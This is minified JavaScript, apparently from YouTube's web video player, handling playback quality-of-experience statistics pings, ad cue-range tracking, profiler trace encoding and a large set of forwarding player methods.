Yy.prototype.oU=function(){this.j||this.send();window.removeEventListener("error",this.XO);window.removeEventListener("unhandledrejection",this.XO);g.W.prototype.oU.call(this)};
var IIV=/\bnet\b/;g.P(EAV,g.W);EAV.prototype.oU=function(){Z0H(this);g.W.prototype.oU.call(this)};var jDq=/[?&]cpn=/;g.P(b$,g.W);b$.prototype.flush=function(){var x={};this.Z&&(x.pe=this.Z);this.C.length>0&&(x.pt=this.C.join("."));this.C=[];return x};
b$.prototype.stop=function(){var x=this,T,t,u;return g.G(function(H){if(H.C==1)return g.PX(H,2),g.v(H,(T=x.K)==null?void 0:T.stop(),4);if(H.C!=2)return(t=H.Z)&&x.logTrace(t),g.cX(H,0);u=g.Yq(H);x.Z=Ra3(u.message);g.RV(H)})};
b$.prototype.logTrace=function(x){this.encoder.reset();this.encoder.add(1);this.encoder.add(x.resources.length);for(var T=g.S(x.resources),t=T.next();!t.done;t=T.next()){t=t.value.replace("https://www.youtube.com/s/","");this.encoder.add(t.length);for(var u=0;u<t.length;u++)this.encoder.add(t.charCodeAt(u))}this.encoder.add(x.frames.length);T=g.S(x.frames);for(t=T.next();!t.done;t=T.next()){t=t.value;this.encoder.add(t.name.length);for(u=0;u<t.name.length;u++)this.encoder.add(t.name.charCodeAt(u));
q_(this.encoder,t.resourceId);q_(this.encoder,t.line);q_(this.encoder,t.column)}this.encoder.add(x.samples.length);T=g.S(x.samples);for(t=T.next();!t.done;t=T.next())t=t.value,this.encoder.add(Math.trunc(t.timestamp)),q_(this.encoder,t.stackId);this.encoder.add(x.stacks.length);x=g.S(x.stacks);for(T=x.next();!T.done;T=x.next())T=T.value,this.encoder.add(T.frameId),q_(this.encoder,T.parentId);x=this.encoder.vM();this.j+=x.length;this.j<1E7&&this.C.push(x)};
b$.prototype.oU=function(){this.stop();g.W.prototype.oU.call(this)};var So3=[2,5,30];g.Vn=ZH(function(){var x="";try{var T=g.Xn("CANVAS").getContext("webgl");T&&(T.getExtension("WEBGL_debug_renderer_info"),x=T.getParameter(37446),x=x.replace(/[ :]/g,"_"))}catch(t){}return x});g.P(g.Fe,g.W);g.q=g.Fe.prototype;g.q.LuZ=function(){var x=g.Uw(this.provider);b03(this,x)};
g.q.mD=function(){return this.NS};
g.q.dc=function(){return{HI:this.HI,lO:this.lO}};
g.q.XU=function(x,T){this.HI=x;this.lO=T};
g.q.Gu=function(x){if(!this.tM){this.tM=!0;var T="";switch(x){case 1:T="proximaui";break;case 2:T=ahq(this.provider.videoData)?"proximawpcc":this.provider.videoData.B("html5_enable_proxima")||this.provider.videoData.B("html5_sabr_force_proxima")?"proximaexp":"proximaclient";break;case 3:T="proximaauto"}T!==""&&vr(this,T)}};
g.q.YD=function(x){this.C.lwc=[[x.Q9?x.Q9.toFixed():"",x.ll?x.ll.toFixed():"",x.QU?(x.QU*1E3).toFixed():"",x.kP?(x.kP*1E3).toFixed():"",x.rp?(x.rp*1E3).toFixed():""].join(":")]};
g.q.reportStats=function(x){x=x===void 0?NaN:x;if(!this.T9()&&(x=x>=0?x:g.Uw(this.provider),["PL","B","S"].indexOf(this.Zx)>-1&&(!g.z0(this.C)||x>=this.T+30)&&(g.ky(this,x,"vps",[this.Zx]),this.T=x),!g.z0(this.C))){this.sequenceNumber===7E3&&g.Vh(Error("Sent over 7000 pings"));if(!(this.sequenceNumber>=7E3)){hl(this,x);var T=this.provider.Em.tC();T=g.S(T);for(var t=T.next();!t.done;t=T.next())t=t.value,this.kc(t.key,t.value);T=x;t=this.provider.Em.zS();var u=t.droppedVideoFrames||0,H=t.totalVideoFrames||
0,I=u-this.HI,E=H&&!this.lO;u>t.totalVideoFrames||I>5E3?Vnf(this,"html5.badframedropcount","df."+u+";tf."+t.totalVideoFrames):(I>0||E)&&g.ky(this,T,"df",[I]);this.HI=u;this.lO=H;this.S>0&&(g.ky(this,x,"glf",[this.S]),this.S=0);oh.isActive()&&(x=oh.Qx(),Object.keys(x).length>0&&this.kc("profile",x));this.ra&&vr(this,"lwnmow");this.provider.Cf.AM()&&this.provider.B("html5_record_now")&&this.kc("now",{wt:(0,g.bo)()});x={};this.provider.videoData.Z&&(x.fmt=this.provider.videoData.Z.itag,(T=this.provider.videoData.K)&&
T.itag!==x.fmt&&(x.afmt=T.itag));x.cpn=this.provider.videoData.clientPlaybackNonce;this.adCpn&&(x.adcpn=this.adCpn);this.ZZ&&(x.addocid=this.ZZ);this.contentCpn&&(x.ccpn=this.contentCpn);this.uG&&(x.cdocid=this.uG);this.provider.videoData.cotn&&(x.cotn=this.provider.videoData.cotn);x.el=WV(this.provider.videoData);x.content_v=ys(this.provider.videoData);x.ns=this.provider.Cf.ZZ;x.fexp=cHJ(this.provider.Cf.experiments).toString();x.cl=(730664130).toString();(T=this.provider.videoData.adFormat||this.adFormat)&&
(x.adformat=T);(T=PV(this.provider.videoData))&&(x.live=T);this.provider.videoData.Ut()&&(x.drm=1,this.provider.videoData.T&&(x.drm_system=fSd[this.provider.videoData.T.flavor]||0),this.provider.videoData.EU&&(x.drm_product=this.provider.videoData.EU));iP()&&this.provider.videoData.D&&(x.ctt=this.provider.videoData.D,x.cttype=this.provider.videoData.Hh,this.provider.videoData.mdxEnvironment&&(x.mdx_environment=this.provider.videoData.mdxEnvironment));this.provider.videoData.isDaiEnabled()?(x.dai=
this.provider.videoData.enableServerStitchedDai?"ss":"cs",this.provider.videoData.zg&&(x.dai_fallback="1")):this.provider.videoData.k6?x.dai="cs":this.provider.videoData.sD&&(x.dai="disabled");x.seq=this.sequenceNumber++;if(this.provider.videoData.sW){if(T=this.provider.videoData.sW,x&&T)for(T.ns==="3pp"&&(x.ns="3pp"),this.L4.has(T.ns)&&vr(this,"hbps"),T.shbpslc&&(this.serializedHouseBrandPlayerServiceLoggingContext=T.shbpslc),t=g.S(Object.keys(T)),u=t.next();!u.done;u=t.next())u=u.value,this.C4.has(u)||
(x[u]=T[u])}else x.event="streamingstats",x.docid=this.provider.videoData.videoId,x.ei=this.provider.videoData.eventId;this.isEmbargoed&&(x.embargoed="1");Object.assign(x,this.provider.Cf.C);if(T=x.seq)T={cpn:this.provider.videoData.clientPlaybackNonce,sequenceNumber:+T,serializedWatchEndpointLoggingContext:this.provider.videoData.Mi},this.serializedHouseBrandPlayerServiceLoggingContext&&(T.serializedHouseBrandPlayerServiceLoggingContext=PI(this.serializedHouseBrandPlayerServiceLoggingContext)||void 0),
this.provider.videoData.playerResponseCpn&&(T.playerResponseCpn=this.provider.videoData.playerResponseCpn),zL.length&&(T.decoderInfo=zL),this.provider.Em.vS()&&(T.transitionStitchType=4,this.Hv&&(T.timestampOffsetMsecs=this.Hv)),this.remoteControlMode&&(T.remoteControlMode=this.remoteControlMode),this.remoteConnectedDevices.length&&(T.remoteConnectedDevices=this.remoteConnectedDevices),T=g.pn(T,quJ),T=g.Am(T,4),this.C.qclc=[T];x=g.NY("//"+this.provider.Cf.TP+"/api/stats/qoe",x);t=T="";u=g.S(Object.keys(this.C));
for(H=u.next();!H.done;H=u.next())H=H.value,this.C[H]===null?g.Vh(new g.CS("Stats report key has invalid value",H)):(H="&"+H+"="+this.C[H].join(","),H.length>100?t+=H:T+=H);kI4(this,x+T,t.replace(/ /g,"%20"))}this.C={}}};
g.q.Jf=function(x){this.ra=x};
g.q.LQ=function(){if(this.provider.videoData.T){var x=this.provider.videoData.T;vr(this,"eme-"+(x.keySystemAccess?"final":GW(x)?"ms":a$(x)?"ytfp":nY(x)?"safarifp":"nonfinal"))}};
g.q.EN=function(x){var T=g.Uw(this.provider);if(!this.provider.Cf.experiments.aU("html5_refactor_sabr_video_format_selection_logging")||x.C.id!==this.G9){var t=[x.C.id,x.Z,this.G9,x.reason];x.token&&t.push(x.token);g.ky(this,T,"vfs",t);this.G9=x.C.id;t=this.provider.Em.getPlayerSize();if(t.width>0&&t.height>0){t=[Math.round(t.width),Math.round(t.height)];var u=g.O0();u>1&&t.push(u);g.ky(this,T,"view",t)}this.SY||(this.provider.Cf.AM()&&vr(this,"rqs2"),this.provider.videoData.C&&jR(this.provider.videoData.C)&&
(this.C.preload=["1"]));this.j=this.SY=!0}x.reason==="m"&&++this.VI===100&&GIV(this,2);g.ky(this,T,"vps",[this.Zx]);this.reportStats(T)};
g.q.aj=function(x){var T=g.Uw(this.provider);if(this.provider.Cf.experiments.aU("html5_refactor_sabr_audio_format_selection_logging")){T=x.C;var t=[T.audio&&T.video?T.N$?T.N$:"":T.id];T.S8&&T.S8.id&&t.push(T.S8.id);T=t.join(";");T!==this.N&&(t=[T,this.N,x.reason],x.token&&t.push(x.token),g.ky(this,g.Uw(this.provider),"afs",t),this.N=T)}else x.C.id!==this.N&&(t=[x.C.id,this.N,x.reason],x.token&&t.push(x.token),g.ky(this,T,"afs",t),this.N=x.C.id)};
g.q.lr=oV(54);g.q.Sb=function(x){this.isEmbargoed=x};
g.q.XY=oV(33);g.q.YL=oV(38);g.q.onPlaybackRateChange=function(x){var T=g.Uw(this.provider);x&&x!==this.rp&&(g.ky(this,T,"rate",[x]),this.rp=x);this.reportStats(T)};
g.q.qb=oV(28);g.q.getPlayerState=function(x){if(g.p(x,128))return"ER";if(g.p(x,2048))return"B";if(g.p(x,512))return"SU";if(g.p(x,16)||g.p(x,32))return"S";if(x.isOrWillBePlaying()&&g.p(x,64))return"B";var T=E13[je(x)];g.bS(this.provider.Cf)&&T==="B"&&this.provider.Em.getVisibilityState()===3&&(T="SU");T==="B"&&g.p(x,4)&&(T="PB");return T};
g.q.oU=function(){g.W.prototype.oU.call(this);g.M2(this.D);g.M2(this.Ym)};
g.q.pD=function(x){this.isOffline=x;g.ky(this,g.Uw(this.provider),"is_offline",[this.isOffline?"1":"0"])};
g.q.kc=function(x,T,t){var u=this.C.ctmp||[],H=this.RW.indexOf(x)!==-1;H||this.RW.push(x);if(!t||!H){var I=typeof T!=="string"?bF(T):T;I=LNV(I);if(!t&&!/^t[.]/.test(I)){var E=g.Uw(this.provider)*1E3;I="t."+E.toFixed()+";"+I}u.push(x+":"+I);this.logger.debug(function(){return"ctmp "+x+" "+I});
this.C.ctmp=u;FN3(this);return E}};
g.q.N2=function(x,T,t){this.K={hKy:Number(this.kc("glrem",{nst:x.toFixed(),rem:T.toFixed(),ca:+t})),SQ:x,jHQ:T,isAd:t}};
g.q.Es=function(x,T,t){g.ky(this,g.Uw(this.provider),"ad_playback",[x,T,t])};
g.q.FU=function(x,T){var t=g.Uw(this.provider)*1E3,u=this.C.daism||[];u.push("t."+t.toFixed(0)+";smw."+(x*1E3).toFixed(0)+";smo."+(T*1E3).toFixed(0));this.C.daism=u};
g.q.resume=function(){var x=this;this.provider.Cf.AM()&&this.kc("ssap",{qoesus:"0",vid:this.provider.videoData.videoId});isNaN(this.D)?haH(this):this.D=g.mF(function(){x.reportStats()},1E4)};
var Me={},E13=(Me[5]="N",Me[-1]="N",Me[3]="B",Me[0]="EN",Me[2]="PA",Me[1]="PL",Me[-1E3]="ER",Me[1E3]="N",Me),zL=[];gAf.prototype.o6=function(){return this.C};
gAf.prototype.update=function(){if(this.N){var x=this.provider.Em.W3(this.provider.videoData.clientPlaybackNonce)||0,T=g.Uw(this.provider);x>=this.provider.Em.getDuration()-.1&&(this.previouslyEnded=!0);if(x!==this.C||Dd3(this,x,T)){var t;if(!(t=x<this.C||x-this.C>T-this.W$+2||Dd3(this,x,T))){t=this.provider.Em.getVolume();var u=t!==this.S,H=this.provider.Em.isMuted()?1:0;H!==this.J?(this.J=H,t=!0):(!u||this.K>=0||(this.S=t,this.K=T),t=T-this.K,this.K>=0&&t>2?(this.K=-1,t=!0):t=!1)}t&&(n8(this),this.j=
x);this.W$=T;this.C=x}}};ys3.prototype.send=function(x){var T=this;if(!this.mu){var t=JsJ(this),u=g.NY(this.uri,t);this.Cf.B("vss_through_gel_double")&&CEv(u);this.uG&&!this.Cf.B("html5_simplify_pings")?wjv(this,u):NBD(this,x).then(function(H){T.uG&&(H=H||{},H.method="POST",H.postParams={atr:T.attestationResponse});dd3(u,H,{token:T.ZZ,kA:T.Cz,mdxEnvironment:T.mdxEnvironment},T.Cf,x,T.Hv,T.isFinal&&T.F3||T.Om||T.j&&T.Nz)});
this.mu=!0}};
ys3.prototype.Z=function(x){x===void 0&&(x=NaN);return Number(x.toFixed(3)).toString()};
var AV={},O0f=(AV.LIVING_ROOM_APP_MODE_UNSPECIFIED=0,AV.LIVING_ROOM_APP_MODE_MAIN=1,AV.LIVING_ROOM_APP_MODE_KIDS=2,AV.LIVING_ROOM_APP_MODE_MUSIC=3,AV.LIVING_ROOM_APP_MODE_UNPLUGGED=4,AV.LIVING_ROOM_APP_MODE_GAMING=5,AV),Rh={},pjX=(Rh.EMBEDDED_PLAYER_MODE_UNKNOWN=0,Rh.EMBEDDED_PLAYER_MODE_DEFAULT=1,Rh.EMBEDDED_PLAYER_MODE_PFP=2,Rh.EMBEDDED_PLAYER_MODE_PFL=3,Rh);g.P(gR,g.W);g.q=gR.prototype;g.q.Yg=function(){this.C.update();ueV(this)&&(Xj3(this),x0V(this),this.G2())};
g.q.oU=function(){g.W.prototype.oU.call(this);Di(this);BB4(this.C)};
g.q.K2=function(){return JsJ(Br(this,"playback"))};
g.q.G2=function(){this.provider.videoData.N.eventLabel=WV(this.provider.videoData);this.provider.videoData.N.playerStyle=this.provider.Cf.playerStyle;this.provider.videoData.FR&&(this.provider.videoData.N.feature="pyv");this.provider.videoData.N.vid=this.provider.videoData.videoId;var x=this.provider.videoData.N;var T=this.provider.videoData;T=T.isAd()||!!T.FR;x.isAd=T};
g.q.Jp=function(x){var T=Br(this,"engage");T.jY=x;return QD3(T,qw4(this.provider))};Eyq.prototype.isEmpty=function(){return this.endTime===this.startTime};N0.prototype.B=function(x){return this.Cf.B(x)};
N0.prototype.getCurrentTime=function(x){if(this.B("html5_ssap_current_time_for_logging_refactor")){var T=this.Em.vS();if(T&&(x=x||T.nB()))return Hm(T,x)}else if(g.pB(this.videoData)){var t=this.Em.vS();if(t)return x=this.Em.getCurrentTime(),t=(((T=VW(t,x*1E3))==null?void 0:T.pB)||0)/1E3,x-t}return this.Em.getCurrentTime()};
N0.prototype.G3=function(x){if(this.B("html5_ssap_current_time_for_logging_refactor")){var T=this.Em.vS();if(T&&(x=x||T.nB()))return Hm(T,x)}else if(g.pB(this.videoData)){var t=this.Em.vS();if(t)return x=this.Em.G3(),t=(((T=VW(t,x*1E3))==null?void 0:T.pB)||0)/1E3,x-t}return this.Em.G3()};
var Z8C={other:1,none:2,wifi:3,cellular:7,ethernet:30};g.P(g.Jl,g.W);g.q=g.Jl.prototype;g.q.Yg=function(){if(this.provider.videoData.enableServerStitchedDai&&this.bq){var x;(x=this.j.get(this.bq))==null||x.Yg()}else this.C&&this.C.Yg()};
g.q.Sb=function(x){this.qoe&&this.qoe.Sb(x)};
g.q.XY=oV(32);g.q.YL=oV(37);g.q.FU=function(x,T){this.qoe&&this.qoe.FU(x,T)};
g.q.XD=function(x,T){this.qoe&&Vnf(this.qoe,x,T);if(this.Z)this.Z.onError(x)};
g.q.EN=function(x){this.qoe&&this.qoe.EN(x)};
g.q.aj=function(x){this.qoe&&this.qoe.aj(x)};
g.q.onPlaybackRateChange=function(x){if(this.qoe)this.qoe.onPlaybackRateChange(x);this.C&&n8(this.C.C)};
g.q.lr=oV(53);g.q.kc=function(x,T,t){this.qoe&&this.qoe.kc(x,T,t)};
g.q.N2=function(x,T,t){this.qoe&&this.qoe.N2(x,T,t)};
g.q.Gu=function(x){var T;(T=this.qoe)==null||T.Gu(x)};
g.q.YD=function(x){var T;(T=this.qoe)==null||T.YD(x)};
g.q.Jf=function(x){this.qoe&&this.qoe.Jf(x)};
g.q.Es=function(x,T,t){this.qoe&&this.qoe.Es(x,T,t)};
g.q.qb=oV(27);g.q.mD=function(){if(this.qoe)return this.qoe.mD()};
g.q.K2=function(){if(this.provider.videoData.enableServerStitchedDai&&this.bq){var x,T;return(T=(x=this.j.get(this.bq))==null?void 0:x.K2())!=null?T:{}}return this.C?this.C.K2():{}};
g.q.dc=function(){var x;return(x=this.qoe)==null?void 0:x.dc()};
g.q.XU=function(x,T){var t;(t=this.qoe)==null||t.XU(x,T)};
g.q.Jp=function(x){return this.C?this.C.Jp(x):function(){}};
g.q.G2=function(){this.C&&this.C.G2()};
g.q.getVideoData=function(){return this.provider.videoData};
g.q.resume=function(){this.qoe&&this.qoe.resume()};g.P(Qn,g.W);
Qn.prototype.Ig=function(x,T,t){if(this.C.has(x)){var u=this.C.get(x);if(T.videoId&&!j1f(u))this.Z.kc("ssap",{rlc:x}),Ywf(this,x);else return}if(!this.C.has(x)){u=new N0(T,this.Cf,this.Em);var H=Math.round(g.Uw(this.Z.provider)*1E3);u=new g.Jl(u,H);j1f(u)||this.Z.kc("nqv",{vv:T.videoId});H=this.Z.getVideoData();this.C.set(x,u);if(u.qoe){var I=u.qoe,E=H.videoId||"";I.contentCpn=H.clientPlaybackNonce;I.uG=E}eDi(u);t===2&&(this.Cf.B("html5_log_ad_playback_docid")?(t=this.Z,t.qoe&&(t=t.qoe,u=T.Zk||"",
H=T.breakType||0,T=T.videoId||"",I=this.Cf.ZZ||"yt",g.ky(t,g.Uw(t.provider),"ad_playback",[x,u,H,T,I]))):this.Z.Es(x,T.Zk||"",T.breakType||0))}};
Qn.prototype.zF=function(x,T,t,u,H,I,E,Z){if(x!==T){var e=this.VA(x),l=this.VA(T),m,d=x===((m=e.getVideoData())==null?void 0:m.clientPlaybackNonce),M;m=T===((M=l.getVideoData())==null?void 0:M.clientPlaybackNonce);var A;M=d?((A=e.getVideoData())==null?void 0:A.videoId)||"":"nvd";var R;A=m?((R=l.getVideoData())==null?void 0:R.videoId)||"":"nvd";d&&(e=e.qoe)!=null&&(GL(e,4,I?4:H?2:0,T,A,t),e.reportStats());m&&(C8(l),(T=l.qoe)!=null&&(GL(T,4,I?5:H?3:1,x,M,u),T.reportStats()),d0i(l,new g.qa(E,l.Zx)),
liX(l));Z&&Ywf(this,x)}};
Qn.prototype.VA=function(x){x=x||this.bq;return this.C.get(x)||this.Z};g.P(g.p8,g.W);g.q=g.p8.prototype;
g.q.oi=function(x,T){this.sync();T&&this.C.array.length>=2E3&&this.i6("captions",1E4);T=this.C;if(x.length>1&&x.length>T.array.length)T.array=T.array.concat(x),T.array.sort(T.C);else for(var t=g.S(x),u=t.next();!u.done;u=t.next())u=u.value,!T.array.length||T.C(u,T.array[T.array.length-1])>0?T.array.push(u):g.Zw(T.array,u,T.C);x=g.S(x);for(T=x.next();!T.done;T=x.next())T=T.value,T.namespace==="ad"&&this.K("ssap",{acrsid:T.getId(),acrsst:T.start,acrset:T.end,acrscpt:T.playerType});this.j=NaN;this.sync()};
g.q.YX=function(x){x.length>1E4&&g.Vh(new g.CS("Over 10k cueRanges removal occurs with a sample: ",x[0]));if(!this.T9()){for(var T=g.S(x),t=T.next();!t.done;t=T.next())(t=t.value)&&t.namespace==="ad"&&this.K("ssap",{rcrid:t.getId(),rcst:t.start,rcet:t.end,rcpt:t.playerType});var u=new Set(x);this.Z=this.Z.filter(function(H){return!u.has(H)});
hDC(this.C,u);this.sync()}};
g.q.i6=function(x,T){var t=(isNaN(this.j)?g.p(this.D(),2)?0x8000000000000:this.S()*1E3:this.j)-T;T=this.B_().filter(function(u){return u.namespace===x&&u.end<t});
this.YX(T);return T};
g.q.B_=function(){return this.T9()?[]:this.C.array};
g.q.reset=function(){this.started=!1;this.T.stop();this.C.array=[];this.Z=[];this.sync()};
g.q.Xa=function(x){var T=this.B_().filter(function(t){return t.namespace===x});
this.YX(T);return T};
g.q.HY=oV(42);
g.q.TT=function(x,T){var t=[],u=zDX(this.C,0x7ffffffffffff),H=[];this.K("ssap",{mecrs:u.length,cpn:T});u=g.S(u);for(var I=u.next();!I.done;I=u.next())I=I.value,I.active&&(this.K("ssap",{acre:I.id,st:I.start,et:I.end,cpn:T,cpt:I.playerType,pt:x}),T&&T===I.j?(H.push(I),this.K("ssap",{acrec:I.id,st:I.start,et:I.end,pt:x})):I.playerType===x&&(H.push(I),this.K("ssap",{acret:I.id,st:I.start,et:I.end})));t=t.concat(this.w8(H));GL4(this,t);t=[];T=[];u=g.S(this.Z);for(I=u.next();!I.done;I=u.next())I=I.value,
I.active&&I.playerType===x&&I.start===0x7ffffffffffff&&T.push(I);t=t.concat(this.YC(T));GL4(this,t);return H.length};
g.q.w8=function(x){var T=[];if(!x.length)return T;for(var t=0;t<x.length;t++){var u=x[t];u.active&&this.Z.indexOf(u)===-1&&(this.Z.push(u),T.push([1,u]))}return T};
g.q.YC=function(x){var T=[];if(!x.length)return T;x.sort(g.uB);x=g.S(x);for(var t=x.next();!t.done;t=x.next())t=t.value,this.Z.splice(this.Z.indexOf(t),1),T.push([2,t]);return T};
g.q.sync=function(){this.N=!0;if(!this.J){for(var x=3;this.N&&x;)this.N=!1,this.J=!0,this.eZ(),this.J=!1,x--;this.D().isPlaying()&&(x=F_m(this.C,this.j),!isNaN(x)&&x<0x7ffffffffffff&&(x=(x-this.j)/this.uG(),this.T.start(x)))}};
g.q.eZ=function(){if(this.started&&!this.T9()){this.T.stop();var x=this.D();g.p(x,32)&&this.jY.start();for(var T=g.p(this.D(),2)?0x8000000000000:this.S()*1E3,t=g.p(x,2),u=[],H=[],I=g.S(this.Z),E=I.next();!E.done;E=I.next())E=E.value,E.active&&(t?E.end<0x8000000000000:!E.contains(T))&&H.push(E);u=u.concat(this.YC(H));I=H=null;t?(x=zDX(this.C,0x7ffffffffffff),H=x.filter(function(Z){return Z.end<0x8000000000000}),I=kLV(this.C)):x=this.j<=T&&Zz(x)?rlq(this.C,this.j,T):zDX(this.C,T);
u=u.concat(this.w8(x));H&&(u=u.concat(this.YC(H)));I&&(u=u.concat(this.w8(I)));this.j=T;GL4(this,u)}};
g.q.oU=function(){this.Z=[];this.C.array=[];g.W.prototype.oU.call(this)};
g.Wn.sO(g.p8,{oi:"crmacr",w8:"crmncr",YC:"crmxcr",eZ:"crmis",YX:"crmrcr"});g.q=g.Ow.prototype;g.q.addCueRange=function(x){this.Em.addCueRange(x)};
g.q.GT=function(x,T){this.Em.GT(x,T)};
g.q.j6=function(){this.Em.j6()};
g.q.Vj=function(){return this.Em.Vj()};
g.q.vr=function(){return this.Em.vr()};
g.q.QK=function(x,T){this.Em.QK(x,T)};
g.q.i6=function(x,T){return this.Em.i6(x,T)};
g.q.hA=function(x){this.Em.hA(x)};
g.q.JC=function(){return this.Em.JC()};
g.q.getAudioTrack=function(){return this.Em.getAudioTrack()};
g.q.getAvailableAudioTracks=function(){return this.Em.getAvailableAudioTracks()};
g.q.IX=function(){return this.Em.IX()};
g.q.Xk=function(){return this.Em.Xk()};
g.q.B_=function(){return this.Em.B_()};
g.q.AA=function(){return this.Em.AA()};
g.q.G3=function(){return this.Em.G3()};
g.q.getCurrentTime=function(){return this.Em.getCurrentTime()};
g.q.wv=function(){return this.Em.wv()};
g.q.zY=function(){return this.Em.zY()};
g.q.K2=function(x){return this.Em.K2(x)};
g.q.getDuration=function(x){return this.Em.getDuration(x)};
g.q.gi=function(){return this.Em.gi()};
g.q.p4=function(){return this.Em.p4()};
g.q.Kr=function(){return this.Em.Kr()};
g.q.Bm=function(){return this.Em.Bm()};
g.q.Mp=function(){return this.Em.Mp()};
g.q.uw=oV(16);g.q.xZ=function(){return this.Em.xZ()};
g.q.RX=function(){return this.Em.RX()};
g.q.fT=function(x){return this.Em.fT(x)};
g.q.Bt=function(){return this.Em.Bt()};
g.q.My=function(){return this.Em.My()};
g.q.qU=function(){return this.Em.qU()};
g.q.Xx=function(){return this.Em.Xx()};
g.q.jw=function(x,T,t){return this.Em.jw(x,T,t)};
g.q.o9=oV(21);g.q.getPlaybackQuality=function(){return this.Em.getPlaybackQuality()};
g.q.getPlaybackRate=function(){return this.Em.getPlaybackRate()};
g.q.getPlayerState=function(){return this.Em.getPlayerState()};
g.q.getPlayerType=function(){return this.Em.getPlayerType()};
g.q.getPlaylistSequenceForTime=function(x){return this.Em.getPlaylistSequenceForTime(x)};
g.q.Jp=function(x){return this.Em.Jp(x)};
g.q.nT=function(){return this.Em.nT()};
g.q.getPreferredQuality=function(){return this.Em.getPreferredQuality()};
g.q.dc=function(){return this.Em.dc()};
g.q.getProximaLatencyPreference=function(){return this.Em.getProximaLatencyPreference()};
g.q.hG=function(){return this.Em.hG()};
g.q.ul=function(){return this.getVideoData().ul()};
g.q.getStoryboardFormat=function(){return this.getVideoData().getStoryboardFormat()};
g.q.getStreamTimeOffset=function(){return this.Em.getStreamTimeOffset()};
g.q.qy=function(){return this.Em.qy()};
g.q.Pk=function(){return this.Em.Pk()};
g.q.kT=function(){return this.Em.kT()};
g.q.getUserAudio51Preference=function(){return this.Em.getUserAudio51Preference()};
g.q.getUserPlaybackQualityPreference=function(){return this.Em.getUserPlaybackQualityPreference()};
g.q.getVideoData=function(){return this.Em.getVideoData()};
g.q.oe=function(){return this.Em.oe()};
g.q.AR=function(){return this.Em.AR()};
g.q.getVideoLoadedFraction=function(){if(g.Km(this.getVideoData()))return 1;var x=this.Em.Bt();return x?x.EJ():0};
g.q.z$=function(x){this.Em.z$(x)};
g.q.handleError=function(x){this.Em.handleError(x)};
g.q.Gj=function(x){this.Em.Gj(x)};
g.q.AG=function(x){this.Em.AG(x)};
g.q.HY=oV(41);g.q.A7=function(){return this.Em.A7()};
g.q.hasSupportedAudio51Tracks=function(){return this.Em.hasSupportedAudio51Tracks()};
g.q.jH=function(){return this.Em.jH()};
g.q.D$=function(){return this.Em.D$()};
g.q.isAtLiveHead=function(x,T){return this.Em.isAtLiveHead(x,T)};
g.q.Z_=function(){return this.Em.Z_()};
g.q.isGapless=function(){return this.Em.isGapless()};
g.q.isHdr=function(){return this.Em.isHdr()};
g.q.nm=function(){return this.Em.nm()};
g.q.mA=function(){return this.Em.mA()};
g.q.Rl=function(){return this.Em.Rl()};
g.q.isProximaLatencyEligible=function(){return this.Em.isProximaLatencyEligible()};
g.q.d_=function(){return this.Em.d_()};
g.q.OB=function(){return this.Em.OB()};
g.q.Gn=function(){this.Em.Gn()};
g.q.Ae=function(x){this.Em.Ae(x)};
g.q.Rv=function(x){this.Em.Rv(x)};
g.q.dY=function(){this.Em.dY()};
g.q.jy=function(){this.Em.jy()};
g.q.JD=function(){this.Em.JD()};
g.q.iY=function(){this.Em.iY()};
g.q.hL=function(x){this.Em.hL(x)};
g.q.lr=oV(52);g.q.qb=oV(26);g.q.CE=function(){this.Em.CE()};
g.q.pauseVideo=function(x){this.Em.pauseVideo(x)};
g.q.Hy=function(x){this.Em.Hy(x)};
g.q.Up=function(x){this.Em.Up(x)};
g.q.playVideo=function(x,T){return this.Em.playVideo(x,T)};
g.q.Es=function(x,T,t,u,H){this.Em.Es(x,T,t,u,H)};
g.q.XY=oV(31);g.q.YL=oV(36);g.q.t1=function(x,T,t,u,H){this.Em.t1(x,T,t,u,H)};
g.q.kc=function(x,T,t){this.Em.kc(x,T,t)};
g.q.Sb=function(x){this.Em.Sb(x)};
g.q.FU=function(x,T){this.Em.VA().FU(x,T)};
g.q.N2=function(x,T,t){this.Em.N2(x,T,t)};
g.q.XD=function(x){this.Em.XD(x)};
g.q.er=function(x,T,t){this.Em.er(x,T,t)};
g.q.Fi=function(x){this.Em.Fi(x)};
g.q.Nt=function(x,T){this.Em.Nt(x,T)};
g.q.Af=function(x,T,t,u,H,I,E,Z){this.Em.Af(x,T,t,u,H,I,E,Z)};
g.q.GJ=function(x){this.Em.GJ(x)};
g.q.iM=function(x,T){this.Em.iM(x,T)};
g.q.mM=function(x,T){this.Em.mM(x,T)};
g.q.removeCueRange=function(x){this.Em.removeCueRange(x)};
g.q.YR=function(x){this.Em.YR(x)};
g.q.Xa=function(x){return this.Em.dV.Xa(x)};
g.q.kq=function(x){this.Em.kq(x)};
g.q.Jm=function(x,T,t){this.Em.Jm(x,T,t)};
g.q.SI=function(){this.Em.SI()};
g.q.df=function(x,T){this.Em.df(x,T)};
g.q.WG=function(){this.Em.WG()};
g.q.seekTo=function(x,T){this.Em.seekTo(x,T)};
g.q.sendAbandonmentPing=function(){this.Em.sendAbandonmentPing()};
g.q.sendVideoStatsEngageEvent=function(x,T){this.Em.sendVideoStatsEngageEvent(x,T)};
g.q.W1=function(x,T){this.Em.W1(x,T)};
g.q.setLoop=function(x){this.Em.setLoop(x)};
g.q.Hq=function(){this.Em.Hq()};
g.q.setMediaElement=function(x){this.Em.setMediaElement(x)};
g.q.Py=function(x,T,t,u){this.Em.Py(x,T,t,u)};
g.q.setPlaybackRate=function(x){this.Em.setPlaybackRate(x)};
g.q.V9=function(x,T,t,u,H,I){this.Em.V9(x,T,t,u,H,I)};
g.q.XU=function(x,T){this.Em.XU(x,T)};
g.q.Do=function(x){this.Em.Do(x)};
g.q.setProximaLatencyPreference=function(x){this.Em.setProximaLatencyPreference(x)};
g.q.iL=function(x){this.Em.iL(x)};
g.q.Op=function(){this.Em.Op()};
g.q.Da=function(x){this.Em.Da(x)};
g.q.setUserAudio51Preference=function(x,T){this.Em.setUserAudio51Preference(x,T)};
g.q.Ow=function(x,T,t){this.Em.Ow(x,T,t)};
g.q.WE=function(){return this.Em.WE()};
g.q.DS=function(){this.Em.DS()};
g.q.Rq=function(){return this.Em.Rq()};
g.q.Ou=function(x){this.Em.Ou(x)};
g.q.fI=function(){this.Em.fI()};
g.q.nI=function(x){this.Em.nI(x)};
g.q.stopVideo=function(){this.Em.stopVideo()};
g.q.subscribe=function(x,T,t){return this.Em.subscribe(x,T,t)};
g.q.gR=function(x,T){this.Em.gR(x,T)};
g.q.togglePictureInPicture=function(){this.Em.togglePictureInPicture()};
g.q.TT=function(x,T){return this.Em.dV.TT(x,T)};
